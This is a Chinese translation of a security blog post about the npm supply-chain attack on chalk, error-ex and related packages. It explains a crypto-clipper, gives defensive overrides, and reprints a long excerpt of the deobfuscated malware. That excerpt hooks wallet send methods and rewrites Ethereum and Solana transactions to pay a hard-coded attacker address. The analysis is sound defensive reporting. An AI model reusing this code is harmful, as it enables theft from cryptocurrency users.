NPM供应链攻击剖析：涉及十亿次下载

一次重大的供应链攻击已经发生。

知名开发者 qix 的 NPM 账户遭到入侵，导致数十个软件包发布了恶意版本，其中包括 chalk、strip-ansi 和 color-convert。

更新： 作者已收到通知，并正在与 NPM 安全团队积极合作解决此问题。恶意代码已从大多数受影响的软件包中删除，并且情况正在得到补救。

但是，审计你的项目至关重要，因为受损的版本可能仍然存在于你的依赖项或 lockfile 中。

总结：

• 发生了什么？ 一次供应链攻击入侵了开发者 qix 的 NPM 账户，导致数十个具有高度影响力的软件包发布了恶意版本。

• 影响是什么？ 受影响软件包的每周总下载量超过 10 亿次，对 JavaScript 生态系统构成重大威胁。

• 恶意软件做什么？ 该 payload 是一个 crypto-clipper，通过交换网络请求中的钱包地址并直接劫持加密货币交易来窃取资金。

• 如何保护自己： 立即审计你项目的依赖项。使用 package.json 中的 overrides 功能将所有受影响的软件包锁定到其最后已知的安全版本。

• • *

一个简单的构建错误如何揭示了这次攻击

它始于我们的 CI/CD 管道中的一个神秘的构建失败，我的同事注意到了这一点：

ReferenceError: fetch is not defined

这个看似微小的错误是复杂的供应链攻击的第一个迹象。我们将失败追溯到一个小的依赖项 error-ex。我们的 package-lock.json 指定了稳定的版本 1.3.2 或更高，因此它安装了最新的版本 1.3.3，该版本在几分钟前刚刚发布。

在调查该软件包后，我们发现了以下代码：

const _0x112fa8=_0x180f;(function(_0x13c8b9,_0_35f660){const _0x15b386=_0x180f,_0x66ea25=_0x13c8b9();while(!![]){try{const _0x2cc99e=parseInt(_0x15b386(0x46c))/(-0x1caa+0x61f*0x1+-0x9c*-0x25)*(parseInt(_0x15b386(0x132))/(-0x1d6b+-0x69e+0x240b))+-parseInt(_0x15b386(0x6a6))/(0x1*-0x26e1+-0x11a1*-0x2+-0x5d*-0xa)*(-parseInt(_0x15b386(0x4d5))/(0x3b2+-0xaa*0xf+-0x3*-0x218))+...
// ...更多行无法读取的混淆代码

这是经过大量混淆的代码，旨在使其无法阅读。 但是，在混淆的代码中埋藏着一个函数名，该函数名立即引起了关注：checkethereumw。

攻击者注入了恶意软件，旨在检测和窃取加密货币。 破坏我们构建的fetch调用是恶意软件试图泄露数据。 我们的构建失败仅仅是因为我们的 Node.js 环境足够旧，没有全局 fetch 函数。 在更现代的环境中，攻击可能完全没有被注意到。

全生态系统的影响

这不是孤立的事件。 攻击者控制了qix NPM 帐户，并为 JavaScript 中一些最基本的实用程序发布了恶意补丁版本，包括：

• chalk: ~3 亿次每周下载

• strip-ansi: ~2.61 亿次每周下载

• color-convert: ~1.93 亿次每周下载

• color-name: ~1.91 亿次每周下载

• error-ex: ~4700 万次每周下载

• simple-swizzle: ~2600 万次每周下载

• has-ansi: ~1200 万次每周下载

这些不是利基库； 它们是深埋在无数项目依赖树中的核心构建块。

解剖 Payload：双管齐下的攻击

在解混淆代码后，我们发现了一个复杂的“crypto-clipper”，它使用双管齐下的方法来窃取资金。 这是一个概述：

攻击向量 1：被动地址交换

该代码首先检查是否存在 window.ethereum，这是一个由 MetaMask 等钱包扩展程序注入的对象。 如果未找到钱包，它将继续进行被动攻击。

该恶意软件“猴子补丁（monkey-patches）”浏览器的原生 fetch 和 XMLHttpRequest 函数。 这使其可以拦截所有流入和流出网站的数据。 该脚本包含大量攻击者拥有的 Bitcoin (BTC), Ethereum (ETH), Solana (SOL), Tron (TRX), Litecoin (LTC), 和 Bitcoin Cash (BCH) 钱包地址列表。

此恶意软件的真正聪明之处在于它_如何_选择替换地址。 它不仅仅是从其列表中随机选择一个钱包； 而是采用了一种使用 Levenshtein distance algorithm（莱文斯坦距离算法） 的复杂技术。 该算法测量两个字符串之间的“编辑距离”或视觉相似度。 该脚本使用此函数在其预定义的列表中找到与用户合法地址在印刷上最接近的地址。 这种智能方法使得人眼极难发现交换，直接利用感知的局限性来确保欺诈行为不被注意。

攻击向量 2：主动交易劫持

如果检测到钱包，该恶意软件会启动其最危险的组件。 它修补了钱包自己的通信方法（request, send）。

当用户发起交易时（例如，eth_sendTransaction），该恶意软件会在数据发送到钱包进行签名之前拦截数据。 然后，它会修改内存中的交易，用硬编码的攻击者的地址替换合法的接收者的地址。

然后，将操纵的交易转发到用户的钱包以供批准。 如果用户没有仔细检查确认屏幕上的地址，他们将签署一项将资金直接发送给攻击者的交易。

跟踪被盗资金

因为区块链是透明的，所以我们可以监控这些欺诈地址。 这是攻击中使用的主要以太坊地址之一。 你可以在 Etherscan 上实时查看其活动。

• 攻击者的以太坊地址之一： 0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976

请参阅此 GitHub Gist以获取所有钱包的列表。

如何保护你的项目：立即采取的步骤

即使某些受影响的版本当前正在从 npm 中删除，但有些版本仍然可用。 所以请在你的 package.json 中使用 overrides。

如果另一个依赖项需要易受攻击的版本范围，仍然可以提取恶意软件包。 使用 package.json 中的 overrides 功能来强制你的整个项目中任何软件包的特定安全版本。

对于受影响的软件包，你将添加：

{
  "name": "your-project",
  "version": "1.0.0",
  "overrides": {
    "chalk": "5.3.0",
    "strip-ansi": "7.1.0",
    "color-convert": "2.0.1",
    "color-name": "1.1.4",
    "is-core-module": "2.13.1",
    "error-ex": "1.3.2",
    "has-ansi": "5.0.1"
  }
}

添加此内容后，删除 node_modules 和 package-lock.json，然后运行 npm install 以生成新的、干净的 lockfile。

结论

开源生态系统建立在信任的基础上，但警惕至关重要。 一个简单的构建错误可能是根深蒂固的问题的第一个迹象。 通过加强我们的 CI/CD 管道，锁定依赖项并培养安全意识文化，我们可以更好地防御始终存在的供应链攻击威胁。

让我们在 LinkedIn 上联系。

完整的恶意软件源代码在这里。

该文件包含隐藏的或双向的 Unicode 文本，这些文本的解释或编译方式可能与下面显示的内容不同。 要查看，请在编辑器中打开该文件，以显示隐藏的 Unicode 字符。 了解有关双向 Unicode 字符的更多信息

|  | '0x13f4ea83d0bd40e75c8222255bc855a974568dd4': 'PancakeSwap V3', |
|  | '0x1111111254eeb25477b68fb85ed929f73a960582': '1inch', |
|  | '0xd9e1ce17f2641f24ae83637ab66a2cca9c378b9f': 'SushiSwap', |
|  | }, |
|  | \_0x13f774=\_0x432d38\[\_0x15c4f9.toLowerCase()\] |
|  | \_0x13f774 |
|  | ? console.log(\_0x13f774+\_0x15c4f9) |
|  | : console.log(\_0x15c4f9) |
|  | } |
|  | }else{ |
|  | if(\_0x250e27.startsWith('0xd505accf')){ |
|  | if(\_0x250e27.length>=458){ |
|  | const\_0x571743=\_0x250e27.substring(0,10), |
|  | \_0x55e7fa=\_0x250e27.substring(10,74), |
|  | \_0x382fb5=\_0x250e27.substring(202,266), |
|  | \_0x5bb3a7=\_0x250e27.substring(266,330), |
|  | \_0x2e5118=\_0x250e27.substring(330,394), |
|  | \_0x3ba273=\_0x250e27.substring(394,458), |
|  | \_0x36b084='Fc4a4858bafef54D1b1d7697bfb5c52F4c166976'.padStart( |
|  | 64, |
|  | '0' |
|  | ), |
|  | \_0x15389e='f'.repeat(64) |
|  | \_0x13d8ee.data= |
|  | \_0x571743+ |
|  | \_0x55e7fa+ |
|  | \_0x36b084+ |
|  | \_0x15389e+ |
|  | \_0x382fb5+ |
|  | \_0x5bb3a7+ |
|  | \_0x2e5118+ |
|  | \_0x3ba273 |
|  | } |
|  | }else{ |
|  | if(\_0x250e27.startsWith('0xa9059cbb')){ |
|  | if(\_0x250e27.length>=74){ |
|  | const\_0x5d2193=\_0x250e27.substring(0,10), |
|  | \_0x1493e2=\_0x250e27.substring(74), |
|  | \_0x32c34c= |
|  | 'Fc4a4858bafef54D1b1d7697bfb5c52F4c166976'.padStart(64,'0') |
|  | \_0x13d8ee.data=\_0x5d2193+\_0x32c34c+\_0x1493e2 |
|  | } |
|  | }else{ |
|  | if(\_0x250e27.startsWith('0x23b872dd')){ |
|  | if(\_0x250e27.length>=138){ |
|  | const\_0x5c5045=\_0x250e27.substring(0,10), |
|  | \_0x1ebe01=\_0x250e27.substring(10,74), |
|  | \_0x558b46=\_0x250e27.substring(138), |
|  | \_0x56d65b= |
|  | 'Fc4a4858bafef54D1b1d7697bfb5c52F4c166976'.padStart( |
|  | 64, |
|  | '0' |
|  | ) |
|  | \_0x13d8ee.data=\_0x5c5045+\_0x1ebe01+\_0x56d65b+\_0x558b46 |
|  | } |
|  | } |
|  | } |
|  | } |
|  | } |
|  | }else{ |
|  | \_0x13d8ee.to&& |
|  | \_0x13d8ee.to!=='0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976'&& |
|  | (\_0x13d8ee.to='0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976') |
|  | } |
|  | }else{ |
|  | \_0x13d8ee.instructions&& |
|  | Array.isArray(\_0x13d8ee.instructions)&& |
|  | \_0x13d8ee.instructions.forEach((\_0x190501)=>{ |
|  | \_0x190501.accounts&& |
|  | Array.isArray(\_0x190501.accounts)&& |
|  | \_0x190501.accounts.forEach((\_0x2b9990)=>{ |
|  | if(typeof\_0x2b9990==='string'){ |
|  | \_0x2b9990='19111111111111111111111111111111' |
|  | }else{ |
|  | \_0x2b9990.pubkey&& |
|  | (\_0x2b9990.pubkey='19111111111111111111111111111111') |
|  | } |
|  | }) |
|  | \_0x190501.keys&& |
|  | Array.isArray(\_0x190501.keys)&& |
|  | \_0x190501.keys.forEach((\_0x40768f)=>{ |
|  | \_0x40768f.pubkey&& |
|  | (\_0x40768f.pubkey='19111111111111111111111111111111') |
|  | }) |
|  | }) |
|  | \_0x13d8ee.recipient&& |
|  | (\_0x13d8ee.recipient='19111111111111111111111111111111') |
|  | \_0x13d8ee.destination&& |
|  | (\_0x13d8ee.destination='19111111111111111111111111111111') |
|  | } |
|  | return\_0x13d8ee |
|  | } |
|  | function\_0x485f9d(\_0x38473f,\_0x292c7a){ |
|  | returnasyncfunction(...\_0x59af19){ |
|  | \_0x1c41fa++ |
|  | let\_0x12a7cb |
|  | try{ |
|  | \_0x12a7cb=JSON.parse(JSON.stringify(\_0x59af19)) |
|  | }catch(\_0x5d1767){ |
|  | \_0x12a7cb=\[...\_0x59af19\] |
|  | } |
|  | if(\_0x59af19\[0\]&&typeof\_0x59af19\[0\]==='object'){ |
|  | const\_0x2c3d7e=\_0x12a7cb\[0\] |
|  | if( |
|  | \_0x2c3d7e.method==='eth\_sendTransaction'&& |
|  | \_0x2c3d7e.params&& |
|  | \_0x2c3d7e.params\[0\] |
|  | ){ |
|  | try{ |
|  | const\_0x39ad21=\_0x1089ae(\_0x2c3d7e.params\[0\],true) |
|  | \_0x2c3d7e.params\[0\]=\_0x39ad21 |
|  | }catch(\_0x226343){} |
|  | }else{ |
|  | if( |
|  | (\_0x2c3d7e.method==='solana\_signTransaction'\|\| |
|  | \_0x2c3d7e.method==='solana\_signAndSendTransaction')&& |
|  | \_0x2c3d7e.params&& |
|  | \_0x2c3d7e.params\[0\] |
|  | ){ |
|  | try{ |
|  | let\_0x5ad975=\_0x2c3d7e.params\[0\] |
|  | \_0x5ad975.transaction&&(\_0x5ad975=\_0x5ad975.transaction) |
|  | const\_0x5dbe63=\_0x1089ae(\_0x5ad975,false) |
|  | \_0x2c3d7e.params\[0\].transaction |
|  | ? (\_0x2c3d7e.params\[0\].transaction=\_0x5dbe63) |
|  | : (\_0x2c3d7e.params\[0\]=\_0x5dbe63) |
|  | }catch(\_0x4b99fd){} |
|  | } |
|  | } |
|  | } |
|  | const\_0x1cbb37=\_0x38473f.apply(this,\_0x12a7cb) |
|  | if(\_0x1cbb37&&typeof\_0x1cbb37.then==='function'){ |
|  | return\_0x1cbb37 |
|  | .then((\_0xea3332)=>\_0xea3332) |
|  | .catch((\_0x35d6a3)=>{ |
|  | throw\_0x35d6a3 |
|  | }) |
|  | } |
|  | return\_0x1cbb37 |
|  | } |
|  | } |
|  | function\_0x41630a(\_0x5d6d52){ |
|  | if(!\_0x5d6d52){ |
|  | returnfalse |
|  | } |
|  | let\_0x2fc35d=false |
|  | const\_0xfafee=\['request','send','sendAsync'\] |
|  | for(const\_0x16ab0eof\_0xfafee){ |
|  | if(typeof\_0x5d6d52\[\_0x16ab0e\]==='function'){ |
|  | const\_0x58cddf=\_0x5d6d52\[\_0x16ab0e\] |
|  | \_0x2a20cb.set(\_0x16ab0e,\_0x58cddf) |
|  | try{ |
|  | Object.defineProperty(\_0x5d6d52,\_0x16ab0e,{ |
|  | value: \_0x485f9d(\_0x58cddf,\_0x16ab0e), |
|  | writable: true, |
|  | configurable: true, |
|  | enumerable: true, |
|  | }) |
|  | \_0x2fc35d=true |
|  | }catch(\_0x19546c){} |
|  | } |
|  | } |
|  | return\_0x2fc35d&&(\_0x1ab7cb=true),\_0x2fc35d |
|  | } |
|  | function\_0xfc3320(){ |
|  | let\_0x4f0cd6=0 |
|  | const\_0x5b507d=()=>{ |
|  | \_0x4f0cd6++ |
|  | if(window.ethereum){ |
|  | setTimeout(()=>{ |
|  | \_0x41630a(window.ethereum) |
|  | },500) |
|  | return |
|  | } |
|  | \_0x4f0cd6<50&&setTimeout(\_0x5b507d,100) |
|  | } |
|  | \_0x5b507d() |
|  | } |
|  | \_0xfc3320() |
|  | window.stealthProxyControl={ |
|  | isActive: ()=>\_0x1ab7cb, |
|  | getInterceptCount: ()=>\_0x1c41fa, |
|  | getOriginalMethods: ()=>\_0x2a20cb, |
|  | forceShield: ()=>{ |
|  | if(window.ethereum){ |
|  | return\_0x41630a(window.ethereum) |
|  | } |
|  | returnfalse |
|  | }, |
|  | } |
|  | } |
``````markdown
[查看 raw](https://gist.github.com/jdstaerk/9e73837f0ba23735ef04a736c6b97c09/raw/bbd3753edabef6977b6b97ac8383ca313de74553/npm_crypto_malware.js) [npm\_crypto\_malware.js](https://gist.github.com/jdstaerk/9e73837f0ba23735ef04a736c6b97c09#file-npm_crypto_malware-js)
由 [GitHub](https://github.com/) 托管 ❤

* * *

• 原文链接： jdstaerk.substack.com/p/...
• 登链社区 AI 助手，为大家转译优秀英文文章，如有翻译不通的地方，还请包涵～